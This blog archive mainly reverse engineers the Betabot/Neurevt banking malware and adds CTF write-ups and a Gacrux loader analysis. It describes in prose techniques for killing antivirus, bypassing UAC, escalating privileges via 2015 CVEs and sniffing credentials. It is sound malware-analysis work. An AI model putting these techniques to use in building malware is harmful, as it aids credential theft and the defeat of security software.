Betabot in the Rearview Mirror

Posted on

AKA Alpha reverse engineer vs Betabot

Betabot is a malware that by now should be familiar to most, if only in name. Initially developed in 2013, the last version,, was released around 2015-2016 and a crack was made around September 2016 which eventually became public. Rumors of a 1.9 version were heard of, however no binaries were ever seen that corroborated this, so it is safe to say that development has ceased completely since then. Despite this lack of updates, Betabot is still widely used – a recent Kaspersky report suggests that it accounts for 3.5% of their banking malware detections in 2020, up from 2019’s 2.4%. Comprehensive deep dives into the malware is lacking – the closest thing to this is the excellent 2013 analysis by Zhongchun Huo – and as such this series will aim to provide such a comprehensive overview covering everything notable that is in the binary.

In this post, we’ll be analyzing a cracked binary, which is also known as “Neurevt” due to the string being present in the binary. What is great about this crack is that unlike a lot of cracks where integrity checks and anti-RE code are either entirely removed or circumvented by patching deeper inside the binary, the reverse engineer has kept them entirely intact and generated the correct checksums instead, meaning that the binary we get from the crack is effectively identical to what the original malware author would’ve given us. There are at least 10 different integrity checks for the config spread throughout the binary – if any of these fails, the bot will not function properly. In addition, this is the main crack that is floating around, so virtually all Betabot binaries that are observed in the wild will be identical to this (with the exception of configuration values changing of course). Another implication of analyzing this binary is that the specific protocol version (Betabot has had several incremental protocol updates throughout its history) is version for the response, and for the bot request. This should not matter much at the end of the day however – as there are no other relevant copies of Betabot available.

We will start out with the general methodology of reverse engineering Betabot and the basic building blocks of the malware, and then start looking at the most important parts of Betabot.

The first layer

We first start with the initial Betabot binary, which is a loader of sorts. The first layer is a fairly typical packer. It sets an exception handler to relaunch itself upon a crash, and also detects debuggers through the PEB.

The packer then xors an encrypted buffer and decompresses it using aplib, before finally mapping and executing it. The mapping is a bit special as the PE header at the beginning of the buffer is fake, while the real PE header is semi-custom and encrypted.

The inner payload

In order to analyze this payload, I simply dumped it directly from memory at the OEP to avoid dealing with the PE header issues and then used fasm to generate a PE file that would allow me to analyze the dump in IDA. The simple FASM template is included in the appendix. From this point on, all analysis is done statically using IDA Pro.

Entrypoint(s) and import handling

The payload has 3 entrypoints, a primary one and two others that are executed by the injector for other functionalities (I believe it is for the botscript loader and the ring3 kit, which is discussed in the later section). All entrypoints call the same common-entrypoint function, however they differ in that they store their own address to a variable that is used to determine which entrypoint was called, in addition to setting two other flags to indicate to other functions which entrypoint was used.

One of the things the common entrypoint does is initializing the imports, which are stored in a global structure. This structure is initialized from a table of hashes (which I named ImportHashTable) which takes the following form.

Hash, apiNameLen and indexDll should be fairly self-evident, however ptrStore is a very strange entry – it points to members in another structure (which I named ImportTableRegular) that receives the final pointer. This structure is simply a bunch of pointers to imported APIs.

DLLs are loaded from a similar struct which is stored in an array – and then APIs are loaded from a custom hash which combines the DLL name and API name together.

The most interesting part is in how Betabot does not just load the pointers for some APIs – it also creates a table of thunks for them. The first thunk for LdrGetProcedureAddress is a simple push-ret stub and is not stored in the global thunk region. For all other thunked functions, the thunk is placed in the global thunk region and has a small structure appended marked with the magic value (0xF820AB06) containing the original pointer. The thunk itself depends on the kind of function – if the function is a service function (for example a syscall stub, or a thunk itself), it is copied in its entirety to the new thunk region. If the function appears hooked, a special thunk stub is used instead.

Service functions are directly copied
Thunking of hooked functions
Code for retrieving the original pointer of a thunked function pointer

Code for automatic handling of the imports will be attached in the appendix after it is cleaned up.

After initializing the import table, Betabot creates the registry key “HKCU\\Software\\AppDataLow\\Software\\MyMailClient”, which is used to track the crash count (more on this later).

Thread manager

Betabot has a slot-based system for managing its threads. This thread tracker supports tracking either 256 or 45 threads depending on whether the current process is Betabot’s main process or not.

As we can see, there are either 45 or 256 slots available in the thread tracker. The first 31 (starting from slot 0) are reserved for special usage, slot 31 and 32 are markers indicating that the thread is a “free” thread without a hardcoded index, and will be dynamically allocated a space starting from slot 34.

When Betabot creates a new thread, it fakes the thread starting address as either being in Kernel32 or being in Ntdll. It chooses the address as follows.

To fake the thread start address, it creates the thread suspended at the address, and then change the Eax register to a custom stub which will receive the threadInfo structure and do the final processing to call the desired function. This works because the thread is still in BaseThreadInitThunk and hasn’t called the target function yet – it will do so by reading Eax which contains the new thread’s function.

The new stub it is set to a function I called EaxProc, which first hides itself from debuggers by using NtSetInformationThread, and then finally register itself in the thread tracker structure.

Back to the creator thread, it waits for it for 2 seconds and then sets the appropriate ACL if requested and then returns.

Registry manager

Betabot has a two-level registry structure that uses a pseudorandom algorithm to generate registry names from seed values. A value is referred to by two strings, its group and subidentifier. Known groups are CS1 and CG1. The registry path is identified as follow (where str1 is the group ID):

The registry value name is generated from the subidentifier as follow:

The appendix contains information on known subidentifiers and their meanings.


Betabot employs several methods for the detection of virtual machines, sandboxes and debuggers. Detection of sandboxes and debuggers result in the bot artificially crashing/exiting, whereas VM detections are stored in some variables and do not result in a crash – however it will result in behaviors being modified in some specific code paths.

Several antidebug tricks are also littered throughout regular functions – for example the following detection and crash appears in the middle of the initialization of the Dynamic Context structure.

VM detection is done as follows.

There also appears to be a bug in the isVirtualMachine routine – the result of isInVM is discarded. Regardless, if a VM is detected, it sets 2 variables and the bot attribute flag for VMs.

In addition to this, Betabot also detects the presence of Ollydbg, Regmon, ImmunityDbg, Rohitab’s API Monitor, Procmon, IDA Pro. It also checks whether the disk contains the string VMWare or VBox.

It also tries to see whether its parent process is suspicious, and logs the information found inside the dynamicCTX and registry.

AV handling

Betabot detects AVs and modifies its behaviors based on what AV is installed. In addition to this, it also is capable of attempting to kill AV solutions. To detect AVs, Betabot has several signature packs with the format below, which are used to search in various places such as services, Run key entries, and SOFTWARE registry keys.

Betabot is also capable of terminating AVs. The orchestrators’ logic is quite simple and repetitive.

To see how it attacks an AV solution, let’s look at ESET.

Here, we see that it tries to block the AV executables from launching using the IFEO key. It does not do so from its own context, instead it spawns a new process and injects into it to perform the registry operation from there. Some AVs do have a custom process that gets spawned and injected to (this is specifiable in the regWriteInjectedCall) but by default it is regedit.

If the attempt to set the IFEO key fails, Betabot attempts to prevent the executable from launching by creating a manifest/config file for it that contains invalid content. How it does this is most interesting: it creates a pagefile there, which would get filled with random (and thus invalid) data.

This method originated probably from in 2012. Interestingly enough – I don’t think this idea has gained much prominence since then, as this is the first that I’ve seen it in practice or mentioned anywhere at all.

LPE and UAC bypass

Betabot employs 2 CVEs as well as several other tricks to gain administrator privilege. The first thing we will be discussing are the LPEs. Currently, there are only 2 LPEs available, however the exploit orchestrator is designed in a module-based fashion so that more LPEs can be added with little code change.

As we can see, Betabot checks for the presence of the KB that patches the exploit and the OS version checked prior to exploitation. The two exploited vulnerabilities are CVE-2015-1701 (KB3045171) and CVE-2015-0003 (KB3013455), and both are only exploited on 32-bit machines. The first is exploited on Windows 7 and Vista whereas the second is exploited only on Windows 7. The KB check is done as follows.

For both exploits, Betabot retrieves the base address of Ntoskrnl by using NtQuerySystemInformation with SystemModuleInformation.

The goal for both are to eventually be able to replace the current process’s token with a token from either explorer.exe or printui.exe (which would be launched as admin using ShellExecute with runas), however in practice the code path for using printui is never reached so the token is always stolen from explorer.

Both exploits are public, ancient and well documented so I will not go into details about how they each function here. However, an interesting little detail that I discovered while reversing this exploit is that back in Windows 7, one is able to allocate memory at the address 0, which is then used to exploit the null pointer dereference vulnerability in CVE-2015-0003. This is done by passing a value between 1 and 0x1000 (page size) as the base address to NtAllocateVirtualMemory.

For gaining administrator privileges, Betabot also has some other tricks, some interesting and some less so. The first simply tries to force the user to accept the administrator prompt by spamming it while faking the executed file as cmd.exe with some custom texts.

I wish I could fix my issues so easily

The second abuses the ISecurityEditor interface to overwrite eudcedit.exe’s Image File Execution Options with the path to the current module. The ISecurityEditor interface did not have proper security checks, allowing an unprivileged user to modify the ACL of an object that they should not have access to. This was fixed on Windows 10 build 10147.

If this operation is successful, Betabot will attempt to launch eudcedit.exe, the debugger for which is now hijacked to be the Betabot payload.

USB Spreader

The USB spreader runs as a Betabot managed thread if the feature is enabled in the C2. It uses RegisterDeviceNotificationA to register a notification whenever a new drive is inserted.

Upon receiving a window callback, Betabot ensures that the message is one for a new volume being inserted, and ensures that it can get the drive letter for the drive.

Then, it checks whether the drive was already infected or not. This is done by checking for the presence of a file called usb20.sys which Betabot will create as Hidden + Read-Only after the infection process has completed.

After this, the betabot binary is copied to Drive:\\pp.exe, and files on the drive are replaced with malicious .lnk files that launch betabot along with the original files.

If a file has been successfully replaced, the usb20.sys marker file is created.

Later on, if this shortcut is executed, Betabot is able to tell that it was spreaded like this by checking whether its drive is removable.


Betabot has persistence for both its file and process. Process protection is achieved via a Ring3 userkit that filters process access, as well as a watchdog that monitors both the file and process.

Crash handling

Early in the execution flow, Betabot registers an exception handler. Interestingly enough, this is used not for anti-debugging purposes but quite the opposite – it is used to help the developer debug issues and to increase stability.

If the exception handler is ever called, it first logs this in the registry in the CD1\ECC values.

Then, it writes the crash count to the MyMailClient registry key, or increments it if it already exists.

Finally, if there is less than 24 crashes logged, it’ll relaunch itself with the /exc parameter corresponding to the number of retries, and then terminates itself.

Hooking engine

Betabot features an impressive ring-3 system wide hooking mechanism for persistence. As described by Zhongchun Huo, it utilizes TLS slots to detect its own threads where hooking behavior should not be applied. There are several “classes” of hooks, which I will detail below.

The first class of hooks is defensive hooks, meant to prevent access to files/registry keys that are deemed protected by Betabot. Generally speaking, they take the following form:

The second class of hooks are hooks designed to sniff information for the stealer. The first example of this are the hooks placed inside Putty’s process.

Hooks being applied
Data being saved temporally
Data finally being queued for sending via IPC to main process in savePuttyLog for sending to the C2 server

There are also hooks for NtDeviceIoControl, PR_Write, EncryptMessage and SSL_Write.

The hook for NtDeviceIoControl is extremely fascinating, it is designed to intercept operations to the AFD device to filter unencrypted traffic directly. Major filtered operations are AFD_CONNECT where the hostname is checked against Betabots’ internal blacklist, and AFD_SEND where the buffer is scanned and sniffed for passwords. This is also where the mysterious strings “neurevt” comes into play 😉

As we can see, it searches each packet inside the AFD_SEND request for usernames and passwords to log, but then curiously also performs another operation where it checks whether the string “windowsupdate” or “neurevt” is inside the buffer. If so, it forces the connection to be disconnected. Unfortunately however, we do not know where the string came from. Searches of intelligence feeds yielded no results, and there is no indicator as to whether this is a competing malware variant or something else entirely. No mentions of neurevt can be found that is not from an analysis where the malware is referred to by the alias. If anyone from back then knew what this string is, please DM me on twitter, I would love to hear the behind-the-scenes of this.

The hook for SSL_Write and EncryptMessage is fairly simple, both call the searchForPasswordAndUsername routine to find usernames and passwords in ports for protocols like FTP, SMTP, SMTPS, etc.

Likewise, PR_Write just tries to parse the HTTP data for credentials.

Lastly in this group, there are hooks for Chrome. Here there are two variants of hooks – one intercepting SSL_Write (which is located via scanning for the VMT), and the other intercepting IPC via hooking NtReadFile. The SSL_Write hook is similar in practice to the hook for Firefox.

The other hook for NtReadFile tries to find interesting strings inside the IPC buffer (namely POST/post and HTTP/http), and tries to extract usernames and passwords out of the buffer if this is found.

The final notable detail of Betabot’s hooking subsystem is its blocking of MBR bootkit installation via hooking NtOpenFile – file operations on the physical drive without going through the filesystem are prohibited.

Termination of older versions of the bot

Betabot finds and kills threads belonging to older versions of itself by checking the TLS slots belonging to threads inside its own process.

Communication cycle and protocol

Betabot’s protocol is binary-over-HTTP. RC4 is used for encryption. First, the URL is generated from the config, and then a random parameter is appended.

Then, depending on the stage of its lifecycle, Betabot chooses a type of request to perform, and depending on the specific requests, some streams might be added.

After the information streams are built, the generic request is constructed.

It encrypts and formats this data and then finally sends the request to the server. If a response is available, it tries to receive it and then parse it.

First, the response’s disposition value is checked and if it is set to BB_DISPOSITION_UNINSTALL, the bot uninstalls itself. This might be of particular interest to those who want to write tools to terminate Betabot, since simply executing the function will be enough to disable the bot permanently 😉.

Then, it processes and propagates the new general flags, minor flags, and custom flags via its windows-based IPC mechanism. It also tries to kill old betabot versions if told to do so by the C2 server.

It then saves these values to the registry.

Then, if proactive defense is enabled, it tries once to elevate privileges.

The knock interval is also saved to the dynamic context.

Then, commands are processed. The structure of the commands are already described in two previous writeups on VB, so I will focus on the higher level details here:

For each command, first, the command ID is retrieved from a table by hashing the command string.

The table is as follows:

After that, the command ID is used to find out how to parse the parameters, and then finally the handler inside the table is called.

Finally, after all the commands are processed, the configuration streams are saved to the registry and updated in-memory. Interestingly, the stream CF07 has no identified uses and seems to be reserved for future functionalities (that likely will never arrive).

Interesting commands

Most of the commands are self-explanatory and as such I will not discuss them in detail. The first interesting command that people would likely notice is “Botscript”. What exactly is a botscript? Does Betabot have an embedded scripting engine? As it turns out, this is not the case. Botscript is simply the developers name for injecting wscript into another process using RunPE and then using that to execute a script.

Translated sales thread describing Botscript

Botscript operations run inside a new thread with index 3.

In the new thread, the botscript is downloaded and then injected.

The other interesting feature is support for running a SOCKS proxy server. The server config is parsed and then started in a new thread.

Outside of attempting to port forward using COM’s functionalities, it is a fairly bog standard proxy server.

An interesting detail is that the VB analysis considers the two following commands to be handlers for Skype spamming operations.

Interestingly, the handler for the hash 30A2060Dh currently seems to point to the same handler as the hash for the command “sys”, which is essentially just the shellexecute operation. The reason for this is unknown and I do not know what the original value before hashing might be. The handler for the hash 6EE4094Dh is no longer present.

Another thing you might notice is that a lot of commands are pointing to null handlers and are entirely missing. Unfortunately, these are now lost to time.

Inaccuracy in past public research

While looking at some past materials on Betabot, I noticed some inaccuracies by other reverse engineers. For example, this post by CyberReason claims that the following code is used for anti-debugging reasons.

The code snippet above, when fully annotated, is as follows.

This is then used as part of the hooking/filtering mechanism for NtCreateFile/NtOpenFile APIs and is not used for anti-debugging reasons as suggested by CyberReason, but rather as a defensive feature as stated in the section on hooking.

An even bigger inaccuracy is in this post by Talos where they analyze a binary they consider Neurevt. They claim that “the dropped payload ends up in a benign location of the filesystem and runs, thereby elevating its privilege by stealing service token information”. Problem is, the binary they disassembled is not Neurevt at all, and none of the screenshot shown belongs to Neurevt. The claim that this is a “new version of the Neurevt” appears entirely false to me – Neurevt has been abandoned by the author since 2016 and this is unlikely to change any time soon. As for how this misconception came to be – it looks like multiple binaries are dropped and the reverse engineer mixed them up, as the last request shown that contains logout.php is indeed a Betabot knock request and the drop path (C:\ProgramData\Google Updater 2.09\q99ig1gy1.exe) is indeed betabot-like, however other than that none of the details described in the post matches Betabot.

When publishing public information, reverse engineers should strive to verify their findings to avoid unintentionally disseminating inaccurate information.


The IDC and sample for analysis will be uploaded within the next few days. Be warned that the IDA database is NOT CLEAN, while it has enough information to give a solid overview of the malware, I have not had the time to tidy it up in its entirety, as such it is not up to my usual standards. There is around 15% of the binary left that is unlabelled, and there are some portions of the binary that is more clearly seen by simply looking at the code than at my description – as such, it is highly encouraged that readers toy around with Betabot and see for themselves.

FASM for making a fake PE file out of the dumped payload:

real_addr = 2560000h
real_ep = 259848Bh

format PE GUI at (real_addr - 1000h)
entry section_begin + real_ep - real_addr

section '.text' code readable writable executable
        file 'bbdump0x2560000.bin'

List of registry key seeds and their identified meanings (some are previously identified in the original VB analysis):

utw = uac trick worked
UTWS = shim elevation
UTWIEF = ifeo reg trick
AVKR = av kill ran
BK32 = botkill run count
BIS = bot came from spreading
LCT = last communication time
BID = bot installation date
LSF = general flag
LMSF = general flag minor
LCSF = custom flags
LISF = infoblob flags
CF01 = cfg_versions_config
CF02 = cfg_versions_dns_blocklist
CF03 = cfg_versions_url_tracklist
CF04 = cfg_versions_filesearch
CF05 = cfg_versions_plugins
CF06 = cfg_versions_web
CF07 = unknown config, not used anywhere
PNR1 = persistence restore count
ECRC = crash count
ECC1 - access violation
ECC2 - privileged instruction
ECC3 - illegal instruction
ECC4 - stack overflow
ECC5 - in page error

Partial listing of significant enums and structures used by the bot


/* 620 */

/* 530 */

/* 631 */

/* 632 */

/* 633 */
  BB_OSVERFLAG_BIT_32 = 0x100,
  BB_OSVERFLAG_BIT_64 = 0x200,
  BB_OSVERFLAG_SP1 = 0x400,
  BB_OSVERFLAG_SP2 = 0x800,
  BB_OSVERFLAG_SP3 = 0x1000,
  BB_OSVERFLAG_SERVER2012 = 0x2000,
  BB_OSVERFLAG_WIN10 = 0x4000,
  BB_OSVERFLAG_4001 = 0x8000,
  BB_COMMAND_HASH_UAC = 0x2A870594,
  BB_COMMAND_HASH_DDOS = 0x306B0605,

/* 532 */

  char JpegFakeHeader[8];
  __int16 size;
  __int16 magic;
  int header_crc32;
  int stringsCount;
  int exdataKey;
  int botVer;
  int reqType;
  int osVerFlag;
  int botAttribute;
  int botOS;
  int botAttribs;
  int botCustomAttrib;
  int debugAttribs;
  int currentTimeUnix;
  int currentTickCount;
  int timezoneBias;
  int botLocale;
  WORD botkillStats;
  __int16 socksPortA16MachineId;
  char hwid[16];
  int CFRegKeys[8];
  DWORD tasksStatus[8];
  int field_9C;
  int field_A0;
  int installedAV;
  int installedSoft;
  int securityToolsInstalled;
  int killedAVs;
  DWORD webAttributes;
  int screenSize;
  int exploitStatus;
  int field_C0;
  int field_C4;
  int field_C8;
  int field_CC;
  int field_D0;
  WORD RegECC[5];
  __int16 exceptionUnused1;
  __int16 exceptionUnused2;
  __int16 exceptionUnused3;
  __int16 exceptionUnused4;
  __int16 exceptionUnused5;
  __int16 exceptionUnused6;
  __int16 exceptionUnused7;
  __int16 persistenceRestoreCount;
  WORD crashCount;
  _BYTE gapF0[20];
  char stringBotGroupName[12];
  char botProcName[20];

/* 637 */

  int field_0;
  int field_4;
  int size;
  int statusCode;
  int knockInterval;
  int contentType;
  int disposition;
  int generalOpts;
  int minorOpts;
  int customOpts;
  int infoBlobStatus;
  int dynConfigVer;
  int dnslistVer;
  int urltrackVer;
  int filesearchVer;
  int pluginVer;
  int webVer;
  int reserved1;
  int reserved2;
  int cmdSize;
  int dnsSize;
  int trackedUrlSize;
  int dynConfSize;
  int filesearchConfSize;
  int pluginConfSize;
  int webConfSize;
  int field_68;

On a more personal side of things, as you might’ve noticed, the blog has been fairly inactive and this is unlikely to change any time soon. In all likelihood, this is probably the last post on this blog. The past years have been fun, much appreciation to all of those who stuck around, especially those who are still doing cool research. If you have unfinished projects/dealings/etc with me, it is best to contact me soon to get things resolved.

UMDCTF 2022 Writeup(s)

Posted on


The challenge is given as an Intel Hex file. Converting that to a raw binary file and tossing it in Veles, we see some sort of structured data.

Looks like some sort of machine code at a glance, but which is it? I had no idea, so I tossed it into Airbus’ cpu_rec, which suggested that it might be AVR. Fascinating.

What’s next in the triage? Well, let’s take a glance at the hexdump. A few strings immediately stood out.

Googling it led us to a repo that the challenge appears to be based on.

OK, so it’s some sort of firmware for a lily58 keyboard. Googling, it seems to be based on the Pro Micro, which hosts a Atmega32u4. This matches my expectation of AVR from using cpu_rec. IDA Pro has support for AVR, so let’s try opening it up. But wait, there’s no support for our specific CPU? Oh well, whatever, we can still try using ATmega32_L and see how far that gets us.

And what it got us was a complete mess. The compiler has decided to inline the entrypoint function that is called at the end of _RESET. Seeing this, I somewhat despaired but not completely – I realized that QMK was GPL2 licensed, so I slid into the authors DMs asking for the code, hoping that they’d do it given that I likely was the only one who would do something so ridiculous and also because it would be funny. It was 4 AM so I did not get an answer until much later (saying no until after the CTF is over, which is reasonable). In the meantime, I continued my triage.

At this point, I decided the best way forward was to call in the support: I joined the QMK discord and started poking around. Amazingly, someone instantly recognized what this code is!

OK, very nice. Let’s generate a comparison binary using the QMK configurator then and do a comparison. We were able to get some matches, which is a suggestion that the assumption that this is inlined is correct.

Inlined code
Uninlined code from the “known good” binary

But that does not get us very far. There are only a few hours left, and I did not consider it realistic to fully finish triaging this binary that is inlined and optimized, mapping out the RAM layout accurately, and writing a new IDA CFG for AVR to support the Atmega32u4 to be realistic in that timeframe. Had this been a longer running CTF, brute force static reverse engineering like that would’ve been my route.

OK, what then is the alternative? My next attempt is at dynamic analysis – I wanted to emulate this since I do not have a physical device to run this on. That did not get very far – I found what seemed to be an emulator but I could not get it working. And then interestingly, someone from the QMK Discord did have an Atmega32u4 and attempted to run the firmware for me, and confirmed that it communicates via i2c to the oled, however nothing showed up. I concluded then (wrongly) that perhaps it is not the oled but rather USB via which the flag is being sent – as a series of keystrokes potentially, or hidden as the key mapping (so that the first row would contain the flag perhaps). In which case, I had no chance of getting things going – a binary like this is a daunting task for me in such a timeframe.

So I took a break, and then after a while the author released a new binary that supposedly would make things much easier after I mentioned to them the issue with inlining. And indeed it was a lot nicer! We could actually see things clearly now.

So I spent the next hour reversing, mapping functions from the “known good” to this binary manually – but then I started wondering if I am approaching this wrong. So I asked the author for a sanity check to confirm and indeed I was wrong – the keymapping did not contain the flag. What then is left? Well, maybe the oled screen does indeed contain the flag – after all, the challenge is called bongocat and the original code did show the bongo cat via the oled display.

So I reviewed the code in the repo again when an epiphany struck me and reminded me of the thought I had at the back of my mind the entire time – that cantor.dust would be the perfect tool for this! Unfortunately, Battelle and Christopher Domas never released the original cantor.dust, all we have is Veles which sadly does not have the feature of cantor.dust that is useful for exploring unknown bitmap data unfortunately. But that is no matter – the bitmap is there, and if it is unencrypted, we can still pull it out.

So then, we need to extract the non-code portion of the binary, and try to parse it and see if we can get an image out of it somehow. We can see clearly via Veles that the first portion of the file contains an array of jmps that is standard to the CPU platform, and then some data, and then code.

Doing some research, I found a tool that is able to convert between the image format for OLED and back. So I grabbed a random portion of the RAM data and shoved it into the tool (set to 128×32 as that is the resolution of the display for the Lily58), shuffled it around until something interesting popped up.

That looks to me like some sort of font data! Font data has the same format as the plain image bitmap, so we clearly are on the right track. Eventually, something wonderful popped up.

I was exhilarated to see this as I was expecting to not finish this challenge at that point. Moving things around some more, I finally had the buffer that yielded the fully legible bitmap:

00 00 00 00 00 F0 00 00 E0 30 30 60 F0 10 10 10 B0 E0 40 80 60 20 20 30 30 C0 00 00 C0 40 40 60 60 00 00 00 40 40 40 80 C0 40 40 40 40 40 00 80 F8 88 88 88 88 88 88 40 00 00 00 00 F8 88 08 18 00 00 C0 40 40 40 40 40 C0 80 80 00 00 00 00 00 00 80 00 80 60 30 60 80 80 C0 60 40 C0 00 08 F0 00 80 80 40 60 00 00 00 00 00 00 00 00 00 00 00 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 1C 10 10 10 1C 07 00 00 0F 00 00 00 01 00 00 1C 07 00 0E 13 10 10 1C 06 03 01 00 3F 21 20 20 30 10 10 00 00 00 00 30 0C 03 00 00 00 00 00 00 0F 18 00 00 00 00 00 00 00 18 14 36 23 C1 81 00 00 00 00 7F C0 80 80 DC 30 60 E0 BF 00 00 00 00 00 40 21 1F 03 00 00 3C 0F 03 00 78 4C 03 00 06 79 03 05 0C 38 40 00 00 00 40 40 40 40 40 40 00 00 78 0F 00 0F C9 CB 6A 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FC 04 04 04 0C 08 00 70 98 08 08 08 98 F0 00 00 E0 30 10 10 10 20 E0 80 00 F0 00 00 00 08 C4 C8 48 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 61 62 6F 75 74 20 68 65 72 65 00 29 00 1E 00 1F 00 20 00 21 00 22 00 2B 00 14 00 1A 00 08 00 15 00 17 00 E0 00 04 00 16 00 07 00 09 00 0A 00 E1 00 1D 00 1B 00 06 00 19 00 05 00 00 00 01 51 E3 00 E2 00 2C 00 2F 00 35 00 27 00 26 00 25 00 24 00 23 00 2D 00 13 00 12 00 0C 00 18 00 1C 00 34 00 33 00 0F 00 0E 00 0D 00 0B 00 E5 00 38 00 37 00 36 00 10 00 11 00 00 00 02 51 E7 00 2A 00 28 00 30 00 01 00 01

And that’s the flag: UMDCTF{QMK_is_cool}.

I am a strong believer in the use of data visualization in reverse engineering and Veles is a tool that I almost always use as an initial triage of an unknown binary. And I am very glad that in this case, a similar approach worked out well. Special thanks to Sir Kane, KarlK90, Xelux and fauxpark for helping me with this unfamiliar architecture.

Kernel Infernal 1 & 2

Most of the trouble was not with the challenge data. Rather, it was getting Linux debugging going. That took me a good 2 hours – but once everything was ready it was fairly smooth sailing. The working directory of the crasher was the base64 encoded version of the flag for 1, and for 2 we are tasked with finding the “first CR3”. Initially, I interpreted this as finding the CR3 that was used during early boot phase and spent an hour reading early boot code to see if that is saved somewhere or printed somewhere, but no luck there. But then I realized that I was overthinking it, and it really was just looking for the CR3 of the first process. So I used ps in crash to get the task_struct of the first process (swapper running on core 0), and then I used gdb x/128xg to dump the active_mm struct. Using IDA on the vmlinux binary to help visualize mm_struct better, I found the pgd value which was the flag.

Gacrux – a basic C malware with a custom PE loader

Posted on

I was given two samples of the malware known as Gacrux recently. Due to the nature of the source of the files, I won’t be able to share the hash or the files publicly, but it should be relatively easy to recognize this malware with the information provided here. The loader was developed in C and compiled with Visual Studio 2017. The malware is sold on certain forums starting from around August 2020, and appears to be heavily inspired by Smoke Loader.

Anti-analysis tricks

Gacrux features a few anti-debugging and anti-VM tricks. The first trick involves the following jumps, which leads IDA to inaccurately disassembling the instructions after.

This can easily be fixed by patching the bytes following the pair of jumps with nops. After pattern scanning and fixing this, the file can mostly be decompiled with IDA easily.

The next trick involves fake returns that disrupt IDA’s function analysis. Like before, it is easily dealt with by NOPping out the offenders.

The final obfuscation involves two functions being encrypted on disk. The decryption done right before the function is called, and the function is re-encrypted shortly afterward.

The decryption/encryption works by finding two patterns within the function that signifies the beginning and end of the encrypted region. The code in between is then XORed with a key that is passed to the function.

The bot checks the available disk space and RAM size as its anti-VM check. This is easily mitigated by breakpointing on and modifying the return value, or simply nopping out the checks.

String encryption

Strings are stored in a function which decrypts them based on the ID that was passed in.

The list of strings for the outer module can be found here.

Overall execution flow

Anti-debug and anti-VM tricks

There are some anti-debug tricks littered throughout the code. They are for the most part mixed into important functions and will crash the process if a debugger or VM is detected. The first trick is located in the malloc function, it checks the BeingDebugged member of the PEB, if it is set the function will return the size of the requested buffer instead of allocating it. In addition to this, it checks for blacklisted modules and exits if any are present.

The second trick increments the PID of explorer if the system has too little RAM or disk space – often a sign of virtualization. This would of course result in NtOpenProcess failing and prevent execution from proceeding any further.

The injected initialization shellcode/custom PE loader (which will be explored in further details later) also performs a check of the BeingDebugged and NtGlobalFlag members of the PEB.


The syscall module is almost entirely copied from an open-source crypter.

The hashing algorithm has been changed to djb2, with the output being xored with a constant value.


Persistence is achieved via a Window Procedure that is repeatedly called inside the context of explorer.exe. This procedure checks the installed file and creates the startup .lnk file in the startup directory if it is not present.

Code Injection

For code injection, Gacrux uses NtCreateSection/NtMapViewOfSection as the write primitive on 32-bit environments, and NtAllocateVirtualMemory/NtWriteVirtualMemory on 64-bit environments, both done via direct syscalls. For the execution primitive, it abuses SetPropA as detailed by Adam in his article “PROPagate – a new code injection trick“. This is copied from open-source implementations, as evidenced by the way the function pointer is set up.

The injection is used to invoke a tiny custom PE loader, which’s description follows.

Custom PE Loader and format

This is the most interesting feature of Gacrux. The code injected into explorer is not a regular PE file but rather one with a customized PE header and a customized loader.

The loader first has some antidebug checks.

Then, it resolves 3 APIs and uses them to process the import table and fix up relocation.

Finally, it flushes the instruction cache and calls the entrypoint.


The PE Loader utilizes a custom PE format, the Kaitai descriptor for it can be found here. With the information listed, we can easily restore the original PE file.



I do not have access to any module files and as such cannot describe them. The module loader is entirely copy-pasted from the MemoryModule project on Github.


Networking uses WinInet. This is done from the context of explorer after injection of course.

Final remarks

As we can see, there is not much that is special when it comes to Gacrux. It copies a lot of public code with slight modifications and is filled with bugs (which I have not described in the article as I have no intention of helping the author fix them). The custom PE format was quite interesting to look at, and I had some fun reverse engineering that.


Brief notes on some of the Flare-On 2020 challenges

Posted on

This was my first flare-on and it was quite fun. I ended up procrastinating for a few weeks after finishing challenge 10 so the end result was not quite what was desired. So here are my thoughts on challenges that I consider to be interesting, which mainly focuses on challenge 9 and 10. As the official writeup will come out soon and will no doubt be far better than my writeup, I’ll likely not edit it too much.

Challenge 6

This was a frustrating challenge that took me 11.5 hours (mostly spent figuring out non-solutions) to solve. The binary is a QR code generator written in AutoIt. I initially expected this to be easy since AutoIt was my home turf (however out of practice I might be), however, this proved not to be the case. The deobfuscation was fun and easy to write as the obfuscation is extremely simple. However the final part took far too long, it took me around 8 hours to figure out that the decryption function was collecting bits and combining them into bytes 7 at a time to generate the desired password.

Challenge 7

This is by far my favorite challenge. In short, we have a pcap file of a network attack against an IIS server exploiting CVE-2017-7269. After identifying the exploit, the first step was to extract the shellcode. Initially, I could not get it working, but then after reading an article on the exploit that shows the disassembly of what’s going on behind the scene, I realized that the shellcode is to be converted to wide strings, and after that things were fairly simple. We had to fix up the register in a debugger (I believe ESI was to point to the beginning of the buffer), and then debug and then continuously dump the next stages until we get the flag data.

Challenge 8

I dislike this challenge. The flag was a gibberish string unlike the other challenges so I spent hours that I shouldn’t have. If not for that it would’ve been quite fun. My solution was dumping the ELF binary, patching it so that the check always returns ‘X’, repackage it in the resource and then run it.

Challenge 9

This challenge was fun. The challenge file is a PE file which does 2 things: load a driver using CapCom, and registers a COM DLL.

The manual mapper is written by the author and can be found here. The main difference between the public implementation and the private one is simply some slight obfuscation and the change in the pooltag. The mapped driver registers a registry callback.

Knowing that a driver is in play, I applied one of my techniques for dynamic analysis here that I have not seen discussed anywhere else (though I am sure it has been done by many before). The technique in essence is hooking the free function and dumping the buffer content before freeing. This allows us to see a lot of interesting information in binaries simply by running it without the need for debugging or anything else. In this case, as the target is a kernel driver, I used a hypervisor to hook ExFreePoolWithTag and dump the pool if the caller is not a valid target driver image. This gave us a very interesting string, “H@n.$h0t.FiRst!”, which will later be used. Now, onto static analysis, we can see that the driver registers a registry callback.

